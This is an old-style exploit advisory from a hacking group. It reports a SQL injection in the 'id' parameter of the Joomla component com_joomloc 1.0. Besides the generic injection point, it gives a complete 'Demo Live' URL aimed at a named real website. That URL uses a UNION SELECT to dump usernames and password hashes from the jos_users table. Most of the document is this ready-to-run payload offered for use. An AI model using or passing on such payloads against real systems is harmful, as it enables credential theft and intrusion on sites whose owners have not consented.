Joomla Joomloc SQL Injection

`++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Joomla Component com_joomloc (id) SQL-injection Vulnerability  
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
  
###################################################  
[+] Author : Chip D3 Bi0s  
[+] Email : chipdebios[alt+64]gmail.com  
[+] Group : LatinHackTeam  
[+] Vulnerability : SQL injection   
  
###################################################  
  
Info component:  
  
Name : Joomloc  
Version : 1.0  
Compatibility : 1.5 Native  
License : GPL Type : Comercial  
Date Added : 5 September 2009  
Demo : http://www.joomloc.fr.nf  
  
more info : http://extensions.joomla.org/extensions/vertical-markets/booking-a-reservation/9208  
###################################################  
  
Example:  
http://localhost/path/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1[SQL code]  
  
Demo Live:  
http://www.holiday-location.com/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users  
  
+++++++++++++++++++++++++++++++++++++++  
#[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
  
`